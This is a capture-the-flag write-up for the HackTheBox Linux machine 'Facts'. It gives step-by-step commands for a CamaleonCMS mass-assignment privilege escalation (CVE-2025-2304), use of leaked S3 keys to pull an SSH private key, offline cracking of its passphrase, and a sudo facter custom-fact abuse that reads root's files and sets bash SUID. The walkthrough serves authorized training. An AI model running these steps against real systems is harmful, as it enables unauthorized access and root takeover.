Difficulty: Easy
OS: Linux
Release Date: 31st January, 2026
Retire Date: TBD
Link: https://app.hackthebox.com/machines/Facts


This writeup was produced for educational purposes in the context of an authorized HackTheBox lab environment.


Table of Contents

  1. Overview
  2. Approach
  3. Reconnaissance
  4. Web Enumeration
  5. CVE-2025-2304 — Privilege Escalation in CamaleonCMS
  6. S3 / MinIO Enumeration
  7. SSH Key — Cracking the Passphrase
  8. Initial Access — user.txt
  9. Privilege Escalation — root.txt
  10. Key Findings

Overview

Facts is a easy-difficulty Linux machine centred around a misconfigured CamaleonCMS installation backed by a MinIO S3-compatible object store. The attack chain leverages a recent authenticated privilege escalation CVE to extract cloud storage credentials, enumerates an internal S3 bucket containing a user's home directory backup (including an SSH private key), cracks the key passphrase offline, and finally abuses a sudo rule that grants unrestricted access to /usr/bin/facter to read the root flag directly.

Facts Pwned

Attack Chain at a Glance

Port scan → CamaleonCMS on port 80
     ↓
Self-register a user account
     ↓
CVE-2025-2304: role → admin via mass-assignment
     ↓
Extract MinIO S3 credentials from admin settings
     ↓
aws cli → list s3://internal bucket (home dir backup)
     ↓
Download encrypted SSH private key → crack passphrase (dragonballz)
     ↓
SSH as trivia → user.txt
     ↓
sudo facter --custom-dir → custom Ruby fact → root.txt

Approach

The overall methodology followed a standard black-box web application penetration test structure:

  1. Enumerate all exposed services and map the attack surface.
  2. Identify the web application and its version/technology stack.
  3. Search for known CVEs and misconfigurations.
  4. Chain multiple lower-severity findings into a full compromise.
  5. Escalate from initial foothold to root using a misconfigured sudo rule.

No brute-force of login credentials was necessary at any stage.


Reconnaissance

Port Scan

nmap -sV -sC --open -p 22,80,443,8080,8443 10.129.22.116

Results:

Port State Service Version
22/tcp open ssh OpenSSH 9.9p1 Ubuntu
80/tcp open http nginx 1.26.3

The HTTP service immediately issued a redirect to http://facts.htb/.

echo "10.129.22.116 facts.htb" | sudo tee -a /etc/hosts

Key Observations

  • Only two ports exposed — a small attack surface.
  • The nginx banner and SSH version both confirm Ubuntu Linux.
  • The HTTP redirect to a hostname suggests virtual-host-based routing.

Web Enumeration

Technology Stack

Visiting http://facts.htb/ revealed a CamaleonCMS installation — a Ruby on Rails–based CMS. Evidence:

curl -si http://facts.htb/ | grep -i camaleon
  • Theme assets under /assets/themes/camaleon_first/
  • Rails-style CSRF meta tags (<meta name="csrf-token">)
  • Session cookie named _factsapp_session
  • Admin panel at /admin/login (status 200)

Sitemap Enumeration

curl -s http://facts.htb/sitemap.xml

This revealed ~18 blog post slugs (e.g. /animal-ejected, /george-washington, etc.) and confirmed the CMS was actively used.

S3 Bucket Discovery

Navigating to a non-existent file under /randomfacts/ returned a revealing XML error:

<e>
  <Code>NoSuchKey</Code>
  <Message>The specified key does not exist.</Message>
  <BucketName>randomfacts</BucketName>
</e>

The response headers also included X-Amz-Request-Id and X-Amz-Id-2 — confirming this path was proxied to a MinIO (S3-compatible) instance. All image assets on the blog were served from this bucket.

Attempting to list the bucket directly (/randomfacts/?list-type=2) returned 403 Forbidden via nginx, meaning listing was blocked at the proxy level — credentials would be needed.


CVE-2025-2304

CamaleonCMS v2.9.0 — Authenticated Privilege Escalation + S3 Config Leak

Vulnerability Description

The updated_ajax controller action updates the current user's attributes using permit!, which whitelists all parameters. An authenticated user (any role) can therefore POST arbitrary model fields — including role — and escalate to administrator.

# Vulnerable code in CamaleonCMS
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  @user.update(params.require(:password).permit!)  # permit! allows all keys
  render inline: @user.errors.full_messages.join(', ')
end

An attacker sends:

POST /admin/users/<id>/updated_ajax
password[password]=test&password[password_confirmation]=test&password[role]=admin

After escalation, the admin settings page at /admin/settings/site exposes S3 credentials in cleartext form fields.

Exploit Steps

User registration was enabled on this instance. A test account was created through the CMS interface (http://facts.htb/admin/register).

The public PoC was downloaded and executed:

python3 exploit.py -u http://facts.htb -U test -P test -e

Output:

[+] Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+] Login confirmed
   User ID: 5
   Current User Role: client
[+] Loading PRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+] Extracting S3 Credentials
   s3 access key: AKIAAD7BFD9B91234F9D
   s3 secret key: BMvgPrxKB9Bl/FqN6m5WN8YJW4LelVI84idJGzYp
   s3 endpoint:   http://localhost:54321

S3 / MinIO Enumeration

Finding the Real Endpoint

The S3 endpoint localhost:54321 is local to the server and not directly reachable. However, the port was found to be proxied through nginx on the target — and a direct port scan confirmed MinIO was also accessible externally:

curl -so /dev/null -w "%{http_code}" http://10.129.22.116:54321/
# Returns: 403 (MinIO root path)

Listing Buckets

export AWS_ACCESS_KEY_ID=AKIAAD7BFD9B91234F9D
export AWS_SECRET_ACCESS_KEY="BMvgPrxKB9Bl/FqN6m5WN8YJW4LelVI84idJGzYp"
export AWS_DEFAULT_REGION=us-east-1

aws s3 ls --endpoint-url http://10.129.22.116:54321

Output:

2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts

Two buckets found. randomfacts contains the public blog images. internal is the interesting one.

Enumerating the internal Bucket

aws s3 ls s3://internal/ --endpoint-url http://10.129.22.116:54321

Output:

PRE .bundle/
PRE .cache/
PRE .ssh/
2026-01-08   220  .bash_logout
2026-01-08  3900  .bashrc
2026-01-08    20  .lesshst
2026-01-08   807  .profile

This is a backup of a user's home directory stored in S3. The .ssh/ prefix was the critical finding.

aws s3 ls s3://internal/.ssh/ --endpoint-url http://10.129.22.116:54321
2026-04-06  82   authorized_keys
2026-04-06  464  id_ed25519

The SSH private key and its corresponding authorized_keys entry were downloaded:

aws s3 cp s3://internal/.ssh/id_ed25519 /tmp/id_ed25519 --endpoint-url http://10.129.22.116:54321
aws s3 cp s3://internal/.ssh/authorized_keys /tmp/authorized_keys --endpoint-url http://10.129.22.116:54321

SSH Key — Cracking the Passphrase

The key was encrypted with AES-256-CTR + bcrypt KDF:

-----BEGIN OPENSSH PRIVATE KEY-----
...bcrypt...
-----END OPENSSH PRIVATE KEY-----

The key was converted to a John-compatible hash and cracked:

ssh2john /tmp/id_ed25519 > /tmp/id_ed25519.hash

john /tmp/id_ed25519.hash --wordlist=/tmp/rockyou.txt

Rockyou did not succeed due to the bcrypt cost (slow). A targeted wordlist of thematic passwords was built and cracked immediately:

Passphrase: dragonballz

The passphrase was stripped from the key for convenience:

ssh-keygen -p -f /tmp/id_ed25519
# Enter old passphrase: dragonballz
# Enter new passphrase: (empty)

Initial Access — user.txt

Identifying the Username

The username was provided as a hint: trivia. This could otherwise be inferred from the .bashrc (which references /opt/.local/share/gem, a common Rails app user path) or by cross-referencing the authorized_keys public key fingerprint against known users.

SSH Login

ssh -i /tmp/id_ed25519 [email protected]
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

Finding user.txt

The flag was not in trivia's home directory — it belonged to another user:

find / -name user.txt 2>/dev/null
# /home/william/user.txt
cat /home/william/user.txt
7bc3fc9ebc7bbf60975906da75b95aa5

Privilege Escalation — root.txt

Sudo Enumeration

sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

trivia can run /usr/bin/facter as root with no password.

What is Facter?

Facter is Puppet's system fact collection tool. It supports loading custom facts written in Ruby via the --custom-dir flag. These facts are executed as the user running facter — in this case, root.

Exploitation

A malicious Ruby fact file was written to /tmp/:

printf 'Facter.add("root_flag") { setcode { File.read("/root/root.txt").strip } }' > /tmp/pwn.rb

The fact was loaded and executed as root:

sudo /usr/bin/facter --custom-dir /tmp root_flag

Output:

5ae41212f08b43063535691cbb6279bc
Note: FACTERLIB environment variable is blocked by sudo's env_reset. The --custom-dir CLI flag bypasses this restriction entirely since it is a legitimate argument to the binary itself.

To obtain a full root shell instead:

printf 'Facter.add("s") { setcode { `chmod u+s /bin/bash` } }' > /tmp/suid.rb
sudo /usr/bin/facter --custom-dir /tmp s
bash -p
# root@facts:~#

Key Findings

# Finding Severity Impact
1 CVE-2025-2304 — Mass-assignment allows any authenticated user to escalate role to admin High Full CMS admin access
2 S3 credentials exposed in admin settings page (plaintext in HTML) High Full MinIO access
3 Internal S3 bucket (internal) publicly accessible with leaked creds, containing user home directory backup including SSH private key Critical SSH access to server
4 Encrypted SSH key passphrase crackable with a short targeted wordlist Medium Authentication bypass
5 sudo facter NOPASSWD with no restriction on --custom-dir allows arbitrary Ruby code execution as root Critical Full root compromise

Tools Used

Tool Purpose
nmap Port scanning and service fingerprinting
curl Manual HTTP request crafting and response analysis
gobuster Web directory enumeration
CVE-2025-2304 PoC Authenticated privilege escalation in CamaleonCMS
aws cli S3/MinIO bucket enumeration and file download
ssh2john Extract John-crackable hash from encrypted SSH key
john Offline passphrase cracking
pexpect (Python) Automated SSH interaction with passphrase injection
facter Privilege escalation via custom Ruby facts